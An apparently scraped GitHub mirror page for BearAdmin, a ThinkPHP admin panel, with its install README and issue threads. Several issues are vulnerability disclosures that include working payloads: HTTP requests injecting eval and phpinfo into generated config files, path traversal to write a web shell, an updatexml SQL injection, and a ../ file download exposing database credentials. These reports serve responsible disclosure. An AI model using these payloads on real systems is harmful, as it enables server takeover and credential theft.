Code Monkey home page Code Monkey logo

bearadmin's Introduction

BearAdmin

基于ThinkPHP6.0+AdminLTE3.2的后台管理系统。TP5.1版本点击这里, TP5.0版本点击这里

开发文档 | 在线DEMO | DEMO源码

安装步骤

clone 项目到本地

  • github地址
git clone https://github.com/yupoxiong/BearAdmin.git
  • 码云地址
git clone https://gitee.com/yupoxiong/BearAdmin.git

安装项目依赖

在项目根目录运行扩展安装命令

composer install

创建数据库

使用navicat工具或命令创建数据库,注意编码必须为utf8mb4格式,例如:

create database `数据库名` default character set utf8mb4 collate utf8mb4_unicode_ci;

修改环境变量文件

更改 .env 文件内的数据库配置选项,参考如下:

[DATABASE]
TYPE=mysql
HOSTNAME=127.0.0.1
DATABASE=数据库名称
USERNAME=数据库用户名
PASSWORD=数据库密码
HOSTPORT=3306
CHARSET=utf8mb4
DEBUG=false

运行数据库迁移命令

php think migrate:run

注意事项

运行迁移命令的时候会生成2个用户,开发管理员(develop_admin),超级管理(super_admin),为了防止部分开发者安全意识薄弱,上线后不修改默认超级管理员账号密码,导致后台被入侵,所以当前版本后台密码会随机生成,在运行迁移命令的时候命令行中会显示生成的密码,请自行复制使用。

配置Web根目录URL重写

public目录配置为web根目录,然后配置URL重写规则,具体可参考 ThinkPHP6.0完全开发手册 URL访问模块

访问后台

访问/admin,默认开发管理员的账号为develop_admin,超级管理员的账号为super_admin对应密码查看迁移命令行输出内容

重置管理员密码

php think reset:admin_password

其他说明

本项目采用大量的开源代码,包括ThinkPHP,AdminLTE等等。 部分代码可能署名已被某些前辈去掉,我也没来得及去查找具体的作者,如果有需要修改的地方,可以与我取得联系,i#yupoxiong.com(手动替换#即可)。 在此,对所有用到的开源代码作者表示由衷的感谢。如果大家需要Laravel版本的后台管理系统,可以使用 LaravelAdmin

交流QQ群:480018279

😛🐻❤️

bearadmin's People

Contributors

luckystar77 avatar yupoxiong avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

bearadmin's Issues

请问layout.html中的{$webData['left_menu']}在哪里实现的赋值?

这个fetch函数在哪里调用的?是哪个控制器??没看明白

//重写fetch
protected function fetch($template = '', $vars = [], $replace = [], $config = [])
{
//左侧菜单
$this->webData['left_menu'] = $this->getLeftMenu();

    parent::assign(['webData' => $this->webData]);
    return parent::fetch($template, $vars, $replace, $config);
}

Trying to get in touch regarding a security issue

Hey there!

I'd like to report a security issue but cannot find contact instructions on your repository.

If not a hassle, might you kindly add a SECURITY.md file with an email, or another contact method? GitHub recommends this best practice to ensure security issues are responsibly disclosed, and it would serve as a simple instruction for security researchers in the future.

Thank you for your consideration, and I look forward to hearing from you!

(cc @huntr-helper)

Unrestrict File Upload to RCE vulnerability Find in BearAdmin

In application/admin/controller/EditorController.php, it handles editor file upload through server function
图片
And then in extend/tools/UEditor.php function upFile,
图片
it does not check the extension of the file then save it to local storage.
so when upload a file/image/vedio,we can upload a PHP file to getshell.
图片

I test this vulnerability in your demo, and demonstrate it exist, please fix it as soon as possible.
图片

图片

Trying to get in touch regarding a security issue

Hey there!

I'd like to report a security issue but cannot find contact instructions on your repository.

If not a hassle, might you kindly add a SECURITY.md file with an email, or another contact method? GitHub recommends this best practice to ensure security issues are responsibly disclosed, and it would serve as a simple instruction for security researchers in the future.

Thank you for your consideration, and I look forward to hearing from you!

(cc @huntr-helper)

建议加入阿里云OSS

基本不管用哪个后台管理都会有上传图片或者其它文件的功能,但是单纯的存在服务器并不行。

oss好处有点那就不用多说了,包括 HTML静态页 apk 等等都放上去页面可以直接访问,也不怕一下子用户量大

Bearadmin background code injection causes GetShell

漏洞分析 Vulnerability analysis

这个漏洞位于app/admin/common.php中的create_setting_file函数这里,对于后台修改操作传入的数据没有做任何处理就生成了配置文件。

This vulnerability lies in the create_setting_ file function in create_setting_ common.php, which generates a configuration file without doing any processing to the data passed in the backend modification operation.

$file_code = "<?php\r\n/**\r\n* " .
            $data->name . ':' . $data->description .
            "\r\n* 此配置文件为自动生成,生成时间" . date('Y-m-d H:i:s') .
            "\r\n*/\r\n\r\nreturn [";
        foreach ($setting as $value) {
            $file_code .= "\r\n    // " . $value['name'] . ':' . $value['description'] . "\r\n    '" . $value['code'] . "'=>[";
            foreach ($value->content as $content) {
                if (is_array($content['content'])) {
                    $content['content'] = implode(',', $content['content']);

                }
                $file_code .= "\r\n    // " . $content['name'] . "\r\n    '" .
                    $content['field'] . "'=>'" . $content['content'] . "',";

            }
            $file_code .= "\r\n],";
        }
        $file_code .= "\r\n];";

导致在进行后台设置时产生了任意代码注入。

Results in arbitrary code injection during background setup.

漏洞复现 Vulnerability Reproduction

image

数据包:

Data package:

POST /index.php/admin/setting/update.html HTTP/1.1
Host: badmin.com
Content-Length: 1051
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjpBKukHjGOJd7FL0
Origin: http://badmin.com
Referer: http://badmin.com/index.php/admin/setting/admin.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: AppSId=b270c2ec094b300276f41e6235e52111; device_id_uid_2=7535e03c33438ab36562e92183b6380fe4f15c19; DarkMode=0; HeaderFixed=0; DropdownLegacyOffset=0; NoBorder=0; SidebarCollapsed=0; SidebarFixed=0; SidebarMini=0; SidebarMiniMd=0; SidebarMiniXs=0; FlatSidebar=0; LegacySidebar=0; CompactSidebar=0; ChildIndentSidebar=0; ChildHideSidebar=0; NoExpandSidebar=0; FootFixed=0; TextSmBody=0; TextSmHeader=0; TextSmBrand=0; TextSmSidebar=0; TextSmFooter=0
Connection: close

------WebKitFormBoundaryjpBKukHjGOJd7FL0
Content-Disposition: form-data; name="id"

1
------WebKitFormBoundaryjpBKukHjGOJd7FL0
Content-Disposition: form-data; name="name"

XX后台系统'.eval($_POST[1]).'
------WebKitFormBoundaryjpBKukHjGOJd7FL0
Content-Disposition: form-data; name="short_name"

后台
------WebKitFormBoundaryjpBKukHjGOJd7FL0
Content-Disposition: form-data; name="author"

xx科技
------WebKitFormBoundaryjpBKukHjGOJd7FL0
Content-Disposition: form-data; name="website"

#
------WebKitFormBoundaryjpBKukHjGOJd7FL0
Content-Disposition: form-data; name="version"

0.1
------WebKitFormBoundaryjpBKukHjGOJd7FL0
Content-Disposition: form-data; name="logo_file"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryjpBKukHjGOJd7FL0
Content-Disposition: form-data; name="logo"

/static/admin/images/logo.png
------WebKitFormBoundaryjpBKukHjGOJd7FL0
Content-Disposition: form-data; name="__token__"

11e6f7eadc0edc07bce93d111408c05e
------WebKitFormBoundaryjpBKukHjGOJd7FL0--

修改之后结果:

The result after modification:

image

image

生成的admin.php中包恶意代码,攻击者可通过此处入侵服务器。

Malicious code is included in the generated admin.php, through which an attacker can invade the server.

image

修复建议 Repair suggestion

  • 对于用户输入的字符进行转义处理 Escape the characters entered by the user

view_replace_str替换后样式引用错误

按照流程composer后,默认view_replace_str替换的是static下的?好像源码目录里应该是public下吧?清除缓存手动修改后引用正常了,是我配置修改没对还是默认就这样引入的?

There is two vulnerability-----SQL INJECTION AND AN DOWNLOAD FILES WITHOUT LIMIT

1.SQL INJECTION

In the controller file applocation\admin\controller\AdminLog.php
in the function index
code line 28-33

        if (isset($this->param['user_id']) && ($this->param['user_id']) > 0) {
            $page_param['query']['user_id'] = $this->param['user_id'];
            $where_user                       = $this->param['user_id'];
            $logs->where('user_id=' . $where_user);
            $this->assign('user_id', $this->param['user_id']);
        }

the parameter named user_id without any filter.then just bring into the MYSQL query.
After use the demo account demo demo login in your app,
and then using the payload -- admin/admin_log/index.html?user_id=1+updatexml(1,concat(0x7e,(version())),0) we can get the version of your MYSQL . that's the testing on your demo website.
img1

2. download files without any limit

in the file

application\admin\controller\databack.php

In the function __construct ,line 16-29

    public function __construct()
    {
        parent::__construct();
        $this->config = Config::get("database");

        $this->config['savepath'] = ROOT_PATH . 'backup/';
        if(!is_dir($this->config['savepath'])){
            @mkdir($this->config['savepath']);
        }
        $this->config['filename'] = "database-backup-" . date("Y-m-d-H-i-s", time()) . ".sql";

        $this->back     = new DataBackup($this->config);
        $this->filename = isset($this->param['name']) ? $this->param['name'] : '';
    }

from the code we know that the parameter "name " is from the GET method.and without any limit
let's take a look at the code line 61-64

    public function download()
    {
        $this->back->downloadFile($this->filename);
    }

$this->back is defined in the file \extend\tools\DataBackup.php line115-128

    public function downloadFile($fileName)
    {
        $fileName = $this->config['savepath'] . $fileName;
        if (file_exists($fileName)) {
            ob_end_clean();
            header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Length: ' . filesize($fileName));
            header('Content-Disposition: attachment; filename=' . basename($fileName));
            return readfile($fileName);
        }
        return $this->error('文件不存在');
    }

the dowloadfile function haven't any filters.
So i deploy the apps on local,after login we try the poc url /admin/databack/download.html?name=../application/database.php
qq 20180524205750
We can read the config file of mysql account and the password

查询的时候默认用主键 id 排序

common/model/Model.php

//排序
$order = $param['_order'] ?? '';
$by    = $param['_by'] ?? 'desc';
$query->order($order ?: 'id', $by ?: 'desc');

不是所有人主健都是用 id
建议改成
$query->order($order ?: $this->getPk(), $by ?: 'desc');
也要考虑没有主健的表的情况

为什么了在入口 文件里面加了xhprof做分析就报错呢

index.php:

xhprof_enable();
...

$xhprof_data = xhprof_disable();

include '/usr/local/src/xhprof-1.2/xhprof_lib/utils/xhprof_lib.php';
include '/usr/local/src/xhprof-1.2/xhprof_lib/utils/xhprof_runs.php';
$objXhprofRun = new XHProfRuns_Default();
$objXhprofRun->save_run($xhprof_data, "bearadmin");

如上这样,加了xhprof做分析,就出现如下错误,官方composer安装的示例加xhprof是没有这个问题的:
Fatal error: Uncaught think\exception\ErrorException: Array to string conversion in /home/neil/thinkphp/BearAdmin/thinkphp/library/think/db/Connection.php:446 Stack trace: #0 [internal function]: think\Error::appError(8, 'Array to string...', '/home/neil/thin...', 446, Array) #1 /home/neil/thinkphp/BearAdmin/thinkphp/library/think/db/Connection.php(446): PDOStatement->execute() #2 /home/neil/thinkphp/BearAdmin/thinkphp/library/think/db/Query.php(241): think\db\Connection->execute('INSERT INTO be...', Array) #3 /home/neil/thinkphp/BearAdmin/thinkphp/library/think/db/Query.php(2097): think\db\Query->execute('INSERT INTO be...', Array) #4 /home/neil/thinkphp/BearAdmin/thinkphp/library/think/Model.php(1122): think\db\Query->insert(Array, false, false, NULL) #5 /home/neil/thinkphp/BearAdmin/thinkphp/library/think/Model.php(1602): think\Model->save(Array, Array) #6 /home/neil/thinkphp/BearAdmin/application/common/exception/LogException.php(44): think\Model::create(Array) #7 /home/neil/thinkphp/BearAdmin/thinkphp/library/think in /home/neil/thinkphp/BearAdmin/thinkphp/library/think/db/Connection.php on line 446

Fatal error: Uncaught think\exception\ErrorException: Array to string conversion in /home/neil/thinkphp/BearAdmin/thinkphp/library/think/db/Connection.php:446 Stack trace: #0 [internal function]: think\Error::appError(8, 'Array to string...', '/home/neil/thin...', 446, Array) #1 /home/neil/thinkphp/BearAdmin/thinkphp/library/think/db/Connection.php(446): PDOStatement->execute() #2 /home/neil/thinkphp/BearAdmin/thinkphp/library/think/db/Query.php(241): think\db\Connection->execute('INSERT INTO be...', Array) #3 /home/neil/thinkphp/BearAdmin/thinkphp/library/think/db/Query.php(2097): think\db\Query->execute('INSERT INTO be...', Array) #4 /home/neil/thinkphp/BearAdmin/thinkphp/library/think/Model.php(1122): think\db\Query->insert(Array, false, false, NULL) #5 /home/neil/thinkphp/BearAdmin/thinkphp/library/think/Model.php(1602): think\Model->save(Array, Array) #6 /home/neil/thinkphp/BearAdmin/application/common/exception/LogException.php(44): think\Model::create(Array) #7 /home/neil/thinkphp/BearAdmin/thinkphp/library/think in /home/neil/thinkphp/BearAdmin/thinkphp/library/think/db/Connection.php on line 446

代码生成 - 表单字段 的问题

生成 省市区[三级联动]
报错:
Class '\generate\field\ProvinceCityDistrict' not found

地图选点[map]
生成的地图好像无法选点

A controllable file written in Bearadmin causes GetShell

漏洞分析 Vulnerability analysis

漏洞点位于app/admin/common.php中的create_setting_file方法,可以看到第125行有file_put_contents($path, $file_code);写入文件,然后我们倒过来看看$path$file_code两个参数是否可控。

The vulnerability point is located in the create_setting_file method in the app/admin/common.php file. You can see that line 125 has the file_put_contents($path, $file_code); method to write the file, and then we reverse the process to see if the $path and $file_code two parameters are controllable.

$path参数如下图,直接拼接传入的$data->code作为写入的文件路径:

The $path parameter is as follows, splicing the incoming $data->code directly as the path to the file to be written:

image

然后$file_code参数如图,主要看108行的namedescription,也是直接拼接,但是在这之前还拼接了注释符,我们后面再来看能不能绕过。

Then $file_code parameters as shown, mainly look at the 108 lines of name and description, also directly spliced, but before that also spliced the comment character, I will explain later how to bypass.

image

app/admin/controller/SettingGroupController.php中的add方法中调用了create_setting_file方法,并且没有其他过滤和转义,所以绕过注释也很简单,只需要闭合前后注释即可。

The create_setting_file method is called in the add method in the app/admin/controller/SettingGroupController.php file, and there are no other filters or escapes, so it's easy to bypass the comments, just close the comment symbols before and after.

最后生成的恶意文件长这样:

The final malicious file generated looks like this:

image

所以我们可以直接通过开发管理->设置配置->设置分组管理来传入构造的payload,造成路径穿越写入恶意webshell到public目录。

So we can directly pass in the constructed payload through Development Management->Setup Configuration->Setup Grouping Management, causing path traversal to write malicious webshell to the public directory.

漏洞复现 Vulnerability Reproduction

在开发管理->设置配置->设置分组管理->添加,构造下图payload,点击保存即可在public目录下写入shell.php。

In the development management->settings configuration->settings group management->add, construct the payload shown below, click save to write shell.php in the public directory.

image

数据包:

Data package:

POST /admin/SettingGroup/add.html HTTP/1.1
Host: 192.168.3.60:8083
Content-Length: 997
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEHW2gVJUhcSza8yd
Origin: http://192.168.3.60:8083
Referer: http://192.168.3.60:8083/admin/SettingGroup/add.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: AppSId=07d81f216f3f5f3805e2256f4c932291; admin_user_id=1; admin_user_sign=b22e396b1ac2df18b9bcead37f3e002f; device_id_uid_1=1e50ee83f9b8aff2e47b9d172cc892195b49ea98; DarkMode=0; HeaderFixed=0; DropdownLegacyOffset=0; NoBorder=0; SidebarCollapsed=0; SidebarFixed=0; SidebarMini=0; SidebarMiniMd=0; SidebarMiniXs=0; FlatSidebar=0; LegacySidebar=0; CompactSidebar=0; ChildIndentSidebar=0; ChildHideSidebar=0; NoExpandSidebar=0; FootFixed=0; TextSmBody=0; TextSmHeader=0; TextSmBrand=0; TextSmSidebar=0; TextSmFooter=0
Connection: close

------WebKitFormBoundaryEHW2gVJUhcSza8yd
Content-Disposition: form-data; name="module"

admin
------WebKitFormBoundaryEHW2gVJUhcSza8yd
Content-Disposition: form-data; name="name"

*/phpinfo();/*
------WebKitFormBoundaryEHW2gVJUhcSza8yd
Content-Disposition: form-data; name="description"

*//*
------WebKitFormBoundaryEHW2gVJUhcSza8yd
Content-Disposition: form-data; name="code"

../../../public/shell
------WebKitFormBoundaryEHW2gVJUhcSza8yd
Content-Disposition: form-data; name="sort_number"

1000
------WebKitFormBoundaryEHW2gVJUhcSza8yd
Content-Disposition: form-data; name="icon"

fas fa-list
------WebKitFormBoundaryEHW2gVJUhcSza8yd
Content-Disposition: form-data; name="auto_create_menu"

0
------WebKitFormBoundaryEHW2gVJUhcSza8yd
Content-Disposition: form-data; name="auto_create_file"

1
------WebKitFormBoundaryEHW2gVJUhcSza8yd
Content-Disposition: form-data; name="__token__"

f5d12a0b26db2bddce591189850d08b5
------WebKitFormBoundaryEHW2gVJUhcSza8yd--

结果:

Results:

image

如何修改默认后台目录名?

为防止后台目录暴露,要修改掉默认后台目录名
发现直接修改掉目录名,不可行,貌似需要逐个文件修改命名空间,这有违自动化、便利的原则,不可能每次修改目录名就逐个修改一次吧。

查阅了TP手册,可以用前后台分离方式实现
复制public下的index.php重命名admini.php,这就是新的后台入口文件,在
define('APP_PATH', __DIR__ . '/../application/');
下面添加一行:
define('BIND_MODULE','admin');//绑定后台模块

新的后台访问地址:http://servername/admini.php/auth/login.html 地址可以自己设置伪静态

在index.php同样也要加入一行,禁止访问后台:
define('BIND_MODULE','index');//绑定前台模块

如果使用api模块也同上操作。

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.